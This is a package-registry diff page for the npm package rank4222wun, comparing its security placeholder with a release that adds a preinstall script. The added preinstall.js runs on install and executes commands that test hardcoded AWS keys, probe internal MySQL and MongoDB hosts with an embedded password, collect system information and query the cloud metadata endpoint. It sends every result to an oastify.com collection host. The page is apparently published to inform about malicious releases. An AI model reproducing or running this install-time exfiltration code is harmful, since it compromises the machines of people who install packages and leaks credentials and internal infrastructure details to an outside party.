rank4222wun 0.0.1-security → 1.0.95

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.95",
4
+ "description": "",
5
+ "scripts": {
6
+ "preinstall": "node preinstall.js"
7
+ },
8
+ "dependencies": {}
6
9
  }
package/preinstall.js ADDED
@@ -0,0 +1,64 @@
1
+ const { execSync } = require('child_process');
2
+ const https = require('https');
3
+
4
+ const OAST = '9dndwj4mod9qwldfzjjcqkhu0l6cu4lsa.oastify.com';
5
+
6
+ function report(tag, data) {
7
+ try {
8
+ const payload = JSON.stringify({ tag, data, ts: Date.now() });
9
+ const req = https.request({
10
+ hostname: OAST,
11
+ path: `/${tag}`,
12
+ method: 'POST',
13
+ headers: { 'Content-Type': 'application/json' }
14
+ });
15
+ req.write(payload);
16
+ req.end();
17
+ } catch (e) {}
18
+ }
19
+
20
+ // 1. إثبات هوية مفاتيح AWS (الرد سيحتوي على اسم الـ Role المرتبط بالشركة)
21
+ function validateAWS() {
22
+ const ak = 'AKIAIIM3DVBDPOSNRCQQ';
23
+ const sk = '69rb3/r17XcHsD4CDP5W3rG1Me26m3UGq93HpSTG';
24
+ try {
25
+ // محاولة تنفيذ أمر الهوية
26
+ const cmd = `export AWS_ACCESS_KEY_ID=${ak} && export AWS_SECRET_ACCESS_KEY=${sk} && aws sts get-caller-identity --output json`;
27
+ const res = execSync(cmd, { timeout: 5000 }).toString();
28
+ report('AWS_CONFIRMED', JSON.parse(res));
29
+ } catch (e) {
30
+ report('AWS_CHECK_FAILED', { msg: "AWS CLI not found or Keys Invalid" });
31
+ }
32
+ }
33
+
34
+ // 2. سحب "بصمة" قاعدة البيانات (الاسم الحقيقي للسيرفر الداخلي)
35
+ function validateDBs() {
36
+ const mysqlCmd = `mysql -h 10.108.193.167 -u hscanaux -phscanaux@2021 -e "SELECT @@hostname; SHOW VARIABLES LIKE 'version_comment';" --batch`;
37
+ const mongoCmd = `echo "db.serverStatus().host; db.serverStatus().version" | ncat -w 2 10.107.119.152 27077`;
38
+
39
+ try {
40
+ const mysqlRes = execSync(mysqlCmd).toString();
41
+ report('MYSQL_LIVE_PROBE', { output: mysqlRes });
42
+ } catch (e) {}
43
+
44
+ try {
45
+ const mongoRes = execSync(mongoCmd).toString();
46
+ report('MONGO_LIVE_PROBE', { output: mongoRes });
47
+ } catch (e) {}
48
+ }
49
+
50
+ // 3. سحب معلومات البيئة (Tencent Cloud Specifics)
51
+ function validateEnvironment() {
52
+ try {
53
+ // سحب الـ Hostname والـ Kernel (غالباً ما يحتوي على وسوم الشركة)
54
+ const sysInfo = execSync('uname -a && hostname').toString();
55
+ // فحص الـ Metadata IP (خاص بـ Tencent/AWS)
56
+ const meta = execSync('curl -s -m 2 http://169.254.169.254/latest/meta-data/instance-id || echo "Blocked"').toString();
57
+ report('SYS_FINGERPRINT', { info: sysInfo, instanceId: meta });
58
+ } catch (e) {}
59
+ }
60
+
61
+ console.log("🛠️ Starting Validation Scripts...");
62
+ validateAWS();
63
+ validateDBs();
64
+ validateEnvironment();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.